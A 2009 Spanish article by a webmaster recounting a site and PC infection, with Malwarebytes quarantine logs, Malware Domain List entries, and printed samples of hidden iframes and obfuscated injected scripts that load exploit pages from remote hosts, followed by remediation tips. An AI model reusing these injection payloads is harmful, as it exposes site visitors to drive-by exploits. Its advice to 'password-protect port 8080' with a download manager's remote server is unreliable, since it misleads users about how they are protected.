C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039094.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039095.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039098.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039099.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039100.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039101.exe (Trojan.Agent) -> Quarantined and deleted successfully.



\RP236\A0039138.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039139.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039140.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039141.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039142.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039143.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039144.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039145.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039146.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039147.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039148.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039149.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039150.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039151.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039152.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039154.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039165.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039166.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039167.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039168.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039171.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039173.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039174.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039135.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039153.new (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039172.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
 C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP236\A0039229.exe (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
 \RP251\A0039691.DRV (Trojan.Downloader) -> Quarantined and deleted successfully.

En general, es conveniente guardar una copia de restauración del sistema en CD, por si es necesario recuperar el computador a un estado anterior a la infección a causa de los daños ocurridos, o si bien, también puede ser de gran utilidad con el fin de restaurar aquellos

archivos originales que han sido modificados y/o que utilizan el mismo nombre que los de origen, como por ejemplo ocurre con userinit.exe.

### Ejemplos de **Malware domain list**.

Modo de infección de webs a través de la inyección de iframes maliciosos que contienen las direcciones electrónicas siguientes (no se deben abrir las urls) :

1. <http://www.malwaredomainlist.com/mdl.php?search=gianttopnano.cn:8080>

Fecha : 2009/06/25\_00:00

Dominio : gianttopnano.cn:8080/index.php

IP : 77.37.19.179

Malware : Exploits

Registrante : Raymond Best / raymond@cybernauttech.com

ASN : 44146

2. <http://www.malwaredomainlist.com/mdl.php?search=shopvideocommission.cn:8080>

Fecha : 2009/06/25\_00:00

Dominio : shopvideocommission.cn:8080/index.php

IP : 64.91.254.69

Reverse Lookup : host.transparent-tech.com

Malware : Exploits

Registrante : Scott Bell / ScottKBell@missiongossip.com

ASN : 32244

3. <http://www.malwaredomainlist.com/mdl.php?search=turbonamestore.cn:8080>

Fecha : 2009/06/28\_00:00

Dominio : turbonamestore.cn:8080/index.php

IP : 90.156.144.78

Reverse Lookup : v4350.vps.masterhost.ru

Malware : Exploits

Registrante : Scott Bell / ScottKBell@missiongossip.com

ASN : 25532

Ejemplos de 7 **iframes maliciosos** (no se deben abrir las urls).

```
<iframe src="http://q5m.ru:8080/index.php" width=106 height=182 style="visibility: hidden">
</iframe>
<iframe src="http://mbdc.in:8080/index.php" width=199 height=155 style="visibility: hidden">
</iframe>
<iframe src="http://b5r.at:8080/index.php" width=125 height=190 style="visibility: hidden">
</iframe>
<iframe src="http://clydaib.net/?click=E7589" width=1 height=1
style="visibility:hidden;position:absolute"></iframe>
<iframe src="http://39w.ru:8080/index.php" width=126 height=171 style="visibility: hidden">
</iframe>
<iframe src="http://3e0.ru:8080/index.php" width=105 height=141 style="visibility: hidden">
</iframe>
<iframe src="http://mymixwager.cn:8080/index.php" width=129 height=109 style="visibility:
hidden"></iframe>
```

Ejemplos de 4 **scripts maliciosos**.

```
<!-- ad --><script>document.write('<span id="nxs"
style="display:none">.3c.69.66.72.61.6d.65.20.73.72.63.3d.27.68.74.74.70.3a.2f.2f.6e.65.77.6
c.69.6e.65.62.69.7a.2e.72.75.2f.77.68.69.74.65.70.61.67.65.2e.68.74.6d.6c.27.20.73.74.79.6
c.65.3d.27.64.69.73.70.6c.61.79.3a.6e.6f.6e.65.3b.27.3e.3c.2f.69.66.72.61.6d.65.3e
</span>');var nxs, jfM, TRw = unescape;nxs = document.getElementById("nxs");nxs =
nxs.innerHTML;jfM = nxs.replace(/[+.]g, "%");jfM = TRw(jfM);document.write(jfM);</script>
```

<!-- /ad -->

```
<!-- ad --><script>document.write('<span id="xcS" style="display:none">.3c.69.66.72.61.6d.65.20.73.72.63.3d.27.68.74.74.70.3a.2f.2f.74.72.61.6d.61.64.6f.6c.73.70.61.63.65.2e.72.75.2f.73.79.6d.70.6c.65.2e.68.74.6d.6c.27.20.73.74.79.6c.65.3d.27.64.69.73.70.6c.61.79.3a.6e.6f.6e.65.3b.27.3e.3c.2f.69.66.72.61.6d.65.3e</span>');var xcS, eKT, Ype = unescape;xcS = document.getElementById("xcS");xcS = xcS.innerHTML;eKT = xcS.replace(/[+]/g, "%");eKT = Ype(eKT);document.write(eKT);</script><!-- /ad -->
```

```
<!-- ad --><textarea id=MKoTGWru style="display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Fitenewupload.ru%2Fhplitle.html%27%3E%3C%2Fiframe%3E</textarea><script>function ucDU(qUZSx){ fff.op.replace("v"); } var NnCKX=document;document['wr1ite'.replace(/[0-9]/, "")](unescape(document.getElementById('MKoTGWru').value));function NNNhPT(JZIP){ var NyT=new Function("PhuLROsrlX", "return 33845;"); fff=op.split("66"); }</script><!-- /ad -->
```

```
<!-- ad --><textarea id=FEfVfbFxC style="display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Fgrationsamu.ru%2Fastro.html%27%3E%3C%2Fiframe%3E</textarea><script>function Plr(huNid){ var gTC = document.getElementById('WikJeSjG'); } var fRew=document;document['wr1ite'.replace(/[0-9]/, "")](unescape(document.getElementById('FEfVfbFxC').value));function ECWN(TwrPf){ fff=op.split("66"); }</script><!-- /ad -->
```

## Notas y Textos.

(1) Programa para eliminar malware en su PC.

Los análisis, actualizaciones y recomendaciones indicadas hacen necesario y diría que indispensable que descarguen en su ordenador el programa Malwarebytes Anti-Malware y ejecuten tras su instalación la procedente actualización para tener la firma de intrusiones al día. De este modo, y actualizado procedan a analizar todas las unidades de su PC, y en 2-3 horas evaluados los cientos de miles de archivos, tanto visibles como ocultos, ... se emite un informe con aquellos archivos y aplicaciones que se encuentran infectados y que hayan podido pasar inadvertidos a otros programas anti-virus ... deberán llegados a este punto quitarlos, pasando a situación de cuarentena y siendo posteriormente automáticamente eliminados ...

La dirección electrónica del programa anti-malware, en la url : [malwarebytes.org](http://malwarebytes.org) (download free version) ...

Se les recomienda encarecidamente, que instalen el programa para limpiar de posibles contagios su ordenador, ... y sumen este análisis periódicamente a los que están acostumbrados a realizar habitualmente con sus programas anti-virus como medida suplementaria para asegurar su PC.

(2) Complemento de protección con contraseña del puerto 8080.

Se trata ahora de tomar otra medida suplementaria que se trata de proteger con contraseña el puerto 8080 de su ordenador, ... por la experiencia, hemos observado que los códigos maliciosos en formato de iframes contienen una dirección electrónica seguida de : 8080 ... lo cual indica que este es el puerto de conexión, Por tanto, esta es la siguiente medida para securizar su PC.

Normalmente, el puerto 80 es el que se conecta con la red de Internet con la configuración http:// ... y se utiliza el puerto 8080 como ruta alternativa al puerto 80, ... es por esta razón que creemos necesario por el hecho de que el puerto que utiliza este código malicioso es el puerto 8080, ... que deberían protegerlo con contraseña ...

Les informamos el procedimiento a utilizar para proteger con clave de acceso el puerto 8080

del PC ...

En primer lugar, descargar el programa free download manager que pueden descargar desde el sitio espejo de Source Forge o directamente desde la página de sus creadores [freedownloadmanager.org](http://freedownloadmanager.org)

Una vez hecho esto, y siguiendo las instrucciones de instalación, ... se descarga en su PC varios elementos entre los cuales se encuentra el que nos importa para proteger con contraseña el puerto 8080 ... entre sus accesorios instalados se encuentra FDM remote control server que deben ejecutar, se les abrirá una ventana de diálogo en la que aparece por defecto su dirección IP en la casilla current address is ... con lo cual no es necesario introducir el número ... pero en cambio en la casilla use port deben introducir 8080. Asimismo, marcar la casilla protect access to server e introducir en la casilla user y password la contraseña que deseen ... el primer y último paso es marcar la casilla load on startup y seguidamente OK ... se habrá configurado de este modo el acceso con clave en el puerto 8080 ...

El programa free download manager es un sistema avanzado de petición de descargas seguras de modo que se puedan programar por defecto en el puerto 80 o también 8080 y acto seguido protegerse con clave de acceso, es decir, la página electrónica en su PC desde donde pueden realizar descargas de archivos de diferentes sitios en la red se hallará configurada en el puerto 8080 y este a la vez protegido con contraseña para evitar intrusiones ...

(3) Navegador actualizado en la última versión.

Cabe decir que sería conveniente que actualizaran su navegador de la versión Internet Explorer 6 y 7 a la actual IE8, ... pues es más seguro, y normalmente el malware se instala con un archivo denominado iExplorer.exe en su computadora ... si encuentran un archivo de estas características en su PC, procedan a analizarlo con Malwarebytes anti-malware para su posterior eliminación si resulta ser el archivo oculto o camuflado que se ha instalado como código malicioso en su ordenador, ... que existe esta probabilidad, no lo borren al detectarlo si no están seguros de estar contaminado para no afectar el funcionamiento de su navegador en caso de ser un archivo del sistema, ... esta observación se la hago porque es uno de los procedimientos utilizados por este tipo de malware para permanecer inadvertido para algunos programas anti-virus que no lo detectan .. en cambio malwarebytes anti-malware si que lo encuentra en caso de estar infectado ...

La incidencia gracias a Malwarebytes Anti-Malware que también pueden descargar en el sitio espejo de CNET (...) ha sido posible solventarla, iExplorer.exe que es el software espía que les hemos informado para evitar que se instale en sus PCs se trata de un troyano que intenta robar los datos de los clientes de la banca on line. ....que actúa como puerta trasera (en este caso por el puerto 8080), permitiendo a un atacante remoto acceder y controlar el equipo infectado.

Posee un componente que le permite ocultar su presencia en el sistema. ... por esta razón algunos programas anti-virus no lo detectan y en cambio Malwarebytes Anti-Malware si lo encuentra y destruye ... está programado para robar información relacionada con cuentas bancarias... Es también necesario actualizar su navegador descargando IE8 en la dirección electrónica de microsoft.com (...)

En definitiva, cierren la puerta trasera de acceso del puerto 8080 mediante contraseña usando FDM Remote Control Server del programa Free Download Manager (...) con el fin de evitar que cualquier troyano de bancos en esta forma u otra se instale en su PC por este u otros medios a través de la red, porque esta incidencia no es un caso aislado, ... se pueden encontrar con este problema a través de la navegación a numerosas páginas web en Internet ...

Las medidas de protección para los usuarios son efectivas tras instalar Malwarebytes Anti-Malware en el PC, analizar y destruir (malware trace y trojan agent), aplicar FDM Remote Control Server de Free Download Manager para proteger el puerto 8080 con contraseña, y actualizar al navegador Internet Explorer 8.

#### (4) Sobre la directiva de privacidad de páginas web.

Si quieren Uds. hacer sus comprobaciones, con la directiva de privacidad en el navegador Internet Explorer 8, encontrarán un modo efectivo de saber si durante su visita a cualquiera de sus webs han sufrido un ataque por malware, siguiendo las siguientes instrucciones ...

En la pestaña Seguridad de la barra de herramientas de su navegador, encontrarán en el menú, el acceso a la directiva de privacidad de páginas web, la marcan y se desplegará una ventana de diálogo en la que constan todas las direcciones electrónicas que han operado en su PC durante su visita a cualquiera de sus sitios en Internet.

De este modo, si entre la lista de urls aparecen las que tienen autorizadas como webmasters, todo es correcto, pero si existe alguna que no tiene que ver con las descritas es que se ha producido una intrusión a través del host de su servidor de alojamiento y se ha inyectado código malicioso en el dominio ...

Deben comprobar la lista de urls dentro de la directiva de privacidad (con aceptación o bloqueo automático de cookies) que son las autorizadas y normales de encontrar ... con el fin de descartar posibles inserciones de código malicioso en su sitio y sin su conocimiento.

#### (5) Lenguaje de programación para .htaccess.

- Evita el acceso a sitios spammers, hackers y demás.
- Elude el acceso remoto a algunos proxys y otros sitios inseguros.
- Bloquea IPs de servidores y personas que se dedican a hacer spam o también varios proxys anónimos que a menudo sufren estos abusos.
- Interrumpe la acción de navegadores maliciosos que nos intentan robar direcciones de e-mail, diseño del sitio web, descargar ficheros hasta que el servidor colapse, etc ...

#### (6) Resultado de las medidas adoptadas.

La implantación de un rastreador anti-malware en su PC, es decir, del programa Malwarebytes Anti-Malware para análisis y reparación de código malicioso, ... junto a la intervención de Windows Live OneCare ...

La protección con contraseña del puerto 8080, con la aplicación de FDM Remote Control Server de Free Download Manager ... y la actualización a IE8 con la utilización simultánea de la directiva de privacidad de páginas web para presentes y futuras comprobaciones ...

El uso del programa XAMPP de simulación con Apache, Mysql, ftp, php, etc ... para ayudar a recuperar la página electrónica original y hacer efectiva su actualización (por ejemplo a XOOPS 2.0.) con el fin de mejorar su seguridad, ...

El cambio en la clave de acceso FTP y la modificación de los archivos .htaccess en los que se han introducido código específico y genérico contra la infección en nuestro servidor ...

Y la instrumentalización de las herramientas del webmaster de Google así como del programa de prevención de intrusiones Dasient WAM, ...

Hacen de todas estas medidas adoptadas a día de hoy una metodología efectiva para garantizar la seguridad en la web, como si nuestro sitio en la red se tratara de un banco nacional, ...

### **Referencias bibliográficas.**

#### **1. Malwarebytes Anti-Malware.**

Autor : malwarebytes.org.

Detecta y elimina el malware de tu PC.



Por : Luís Ponce de León.

Malwarebytes Anti-Malware escanea los discos y dispositivos de tu ordenador en busca de todo tipo de malware, y lo elimina.

Malwarebytes Anti-Malware ofrece dos tipos de análisis. El rápido y el completo, para un análisis en profundidad.

Esta aplicación actualiza automáticamente la lista de malware y puede programarse para analizar el PC a una hora determinada. Cuenta además con una lista para los ficheros en cuarentena y otra para los que se deben ignorar.

Malwarebytes Anti-Malware incluye (...) una herramienta que garantiza la eliminación de cualquier archivo infectado.

Este programa (...) a posteriori de la infección proporciona la posibilidad de activar la versión protección en tiempo real, que es de pago.

## **2. Windows Live OneCare.**

Autor : onecare.live.com.

Antivirus, antispyware, cortafuegos y copias de seguridad.

Por : Julián Gómez.

Windows Live OneCare es la solución de seguridad de Microsoft que integra antivirus, antispyware, cortafuegos y otras herramientas de seguridad.

(...) La protección antivirus y antispyware, ofrece tanto protección en tiempo real como análisis bajo demanda. En este último caso, en los análisis, cuenta con tres diferentes: rápido, personalizado y completo.

El cortafuegos detecta aplicaciones que conoce (...). De esta forma (...) el cortafuegos de Windows Live OneCare detecta Firefox y le abre paso sin que necesite (...) autorización (...)

También resulta destacable su sistema de copias de seguridad. Muy claro, fácil de configurar y con posibilidad de copia incremental, es decir, copiar sólo los archivos que se hayan modificado.

En cuanto a mantenimiento, Windows Live OneCare también se cuida de eliminar archivos temporales y realizar desfragmentaciones de disco (...).

## **3. Free Download Manager - FDM Remote Control Server.**

Autor : freedownloadmanager.org.

Descarga ficheros con mayor velocidad y comodidad.

Por : Julián Gómez.

Este gestor de descargas te permite administrar los ficheros que bajas de Internet al tiempo que multiplicas tu velocidad de descarga, exprimiendo al máximo el ancho de banda de tu conexión aunque descargues desde servidores no especialmente rápidos.

Free Download Manager soporta conexiones con protocolos HTTP, HTTPs, FTP (con o sin autenticación), Metalink y Bittorrent, se integra con Internet Explorer y con tu programa antivirus (para analizar automáticamente el fichero ...), te permite delimitar la prioridad de cada descarga y, por supuesto, reanudar descargas que hayan sido interrumpidas (...).

Podrás además automatizar el proceso, programando la conexión a Internet a una hora concreta, la descarga de determinados ficheros, la ejecución de un programa cualquiera y la

desconexión o apagado del PC una vez hayas acabado.

Un gestor de descargas excelente.

#### **4. Internet Explorer 8.**

Autor : microsoft.com.

La última versión de un clásico de los navegadores.

Por : Iván Ramírez.

Cuando muchos aún no han tenido el valor suficiente para adoptar Internet Explorer 7, llega la última versión del navegador de Internet más utilizado a nivel mundial.

En cuanto a opciones añadidas, en Internet Explorer 8 destacan varias funcionalidades. Por ejemplo los WebSlices (...).

Otra novedad de Internet Explorer 8 son los Aceleradores. Son la forma en la que Microsoft se aproxima a los servicios web (...) últimamente, y permiten añadir al menú contextual enlaces relevantes para añadir páginas a tu blog, subir fotos a algún servicio de hospedaje o, en definitiva, añadir cualquier modo de interacción entre páginas.

Internet Explorer 8 dispone de InPrivate, una función con la cual podrás navegar sin dejar huellas. El botón de Sitios sugeridos puede recomendarte páginas similares a la que estás visitando, y SmartScreen te defenderá de páginas maliciosas (...) el Administrador de extensiones, una novedad de Internet Explorer 8 (...) facilita mucho la gestión de los nuevos complementos.

Más sólido que nunca y con accesorios muy útiles, Internet Explorer 8 es la respuesta de Microsoft (...)

#### **5. Xampp : Apache, FTP, MySQL ...**

Autor : apachefriends.org.

Monta tu página web en local con este pack de fácil instalación.

Por : Damien Rasson.

Una de las formas más fáciles y rápidas de tener Apache, MySQL, PHP y phpMyAdmin en su máquina es, sin lugar a dudas, pasando por un paquete de instalación cómodo y automático como XAMPP. Ofrece un pack de instalación automática con lo que podrás alojar y servir tus páginas web desde tu máquina en local.

Además, XAMPP ofrece una colección de librerías y otras aplicaciones de gran utilidad para el manejo y administración de una página web, junto a todas las dependencias que resultan imprescindibles para ello (...) así como un completo panel de control especialmente diseñado por XAMPP.

Un servidor web, una base de datos MySQL, PHP, un servidor de correo electrónico, Perl y un servidor FTP son los elementos claves de esta distribución. Además incluye Apache 2 y las últimas versiones de MySQL y PHP; Apache y MySQL se instalarán como servicios. Y todo esto gracias a un asistente que automatizará todo el proceso para que sea lo más leve y rápido posible.

#### **6. Xoops 2.0. : CMS.**

Autor : xoops.org.

Potente, flexible y completo sistema de gestión de contenidos.

Por : Elena Santos.

Xoops es lo que se denomina un sistema de administración de contenidos web, mediante el cual el administrador de un sitio web puede fácilmente crear páginas web dinámicas, con gran control de gestión de contenidos, y (...) otras interesantes funcionalidades.

Resulta perfecta para crear comunidades web de múltiples usuarios, páginas web corporativas, weblogs personales y mucho más.

El sistema incorpora diferentes módulos, destinados a distintos tipos de contenidos, y que puedes utilizar o no en función del diseño y características de tu web: noticias, foro, descargas, enlaces web, etc ...

Xoops utiliza una base de datos relacional (MySQL), permite a sus usuarios registrados un altísimo nivel de personalización de perfil, soporta múltiples idiomas, permite el uso de temas de diseño (...) y es totalmente gratuito, gracias al trabajo de toda una comunidad que lo desarrolla y mejora día a día bajo la licencia GNU.

## **7. Google Search.**

Autor : google.com.

Google Webmaster Help ...

Por : Juan Manuel González.

El servicio de ayuda del Centro para Webmasters de Google está disponible en 12 idiomas incluyendo francés, italiano, alemán, español, portugués y ruso (...) para Webmasters está pensado como un lugar de encuentro para que los usuarios se ayuden entre ellos, hagan preguntas y compartan información sobre cómo Google rastrea e indexa los sitios web. En ocasiones participará (...) el equipo de Google.

## **8. Dasient WAM - Web Anti-Malware.**

Autor : dasient.com.

Ex trabajadores de Google crean un servicio que reduce el malware de las webs.

Por : Arancha Asenjo y Marta Cabanillas.

La start-up Dasient se estrena con un servicio basado en cloud diseñado para detectar código malicioso en páginas de Internet y evitar su entrada en las listas negras.

Dos antiguos empleados de Google - Neil Daswani, anterior director de productos de seguridad, y el ingeniero de software Sharif Rizvi- y Ameet Ranadive, cuyo perfil incluye diversos puestos en el área de consultora de McKinsey & Co. y HP, han formado una nueva empresa volcada en la seguridad de los sitios web.

La compañía, de nombre Dasient, mantiene un estrecho contacto con Google y ha recibido dos millones de dólares de financiación de entidades como Maples Investment, Radar Partners, Stratton Scлавos y Eric Benhamou. Su estreno en el mercado lo hace con un servicio web antimalware que utiliza los web crawlers y la heurística para detectar automáticamente código malicioso cargado por los ciberdelincuentes en páginas web legítimas con el objetivo de descargar malware o llevar a los visitantes a páginas fraudulentas. Como consecuencia, los sitios infectados con malware a menudo terminan en las listas negras de páginas supuestamente peligrosas recopiladas por Google, así como por las empresas de seguridad.

Daswani asegura que es "un desafiante problema de ingeniería" el realizar diagnósticos de sites infectados por malware y poner en cuarentena el código sin interrumpir el uso de la página. El servicio Dasient Web Anti-Malware, cuyo coste parte de los 50 dólares al mes, aún está en fase "alfa" en algunos aspectos, especialmente la capacidad para poner en cuarentena el malware, tal y como han reconocido los cofundadores de Dasient. Esta funcionalidad requiere un módulo de software Dasient instalado en un servidor web para su

protección.

En definitiva, el objetivo es asistir a los webmasters a la hora de encontrar dónde están los problemas de malware antes de que las páginas sean puestas en las listas negras, así como ayudarles a salir de dichas listas, lo que provoca una interrupción del negocio y la marcha de los clientes. El servicio Dasient también puede ser utilizado por proveedores de alojamiento web para ayudar a sus clientes con este problema.

### **Agradecimientos.**

La elaboración del presente artículo es el resultado del trabajo realizado en estrategia.info del 25 de junio al 3 de septiembre de 2009, y ha sido posible gracias a la colaboración de Antonio Amenós Vidal - e-mail : soporte@estrategia.info, webmaster de NetworkersCommunity.net ...

### **Palabras Clave.**

Anti-Malware, Webmaster, Networkers Community.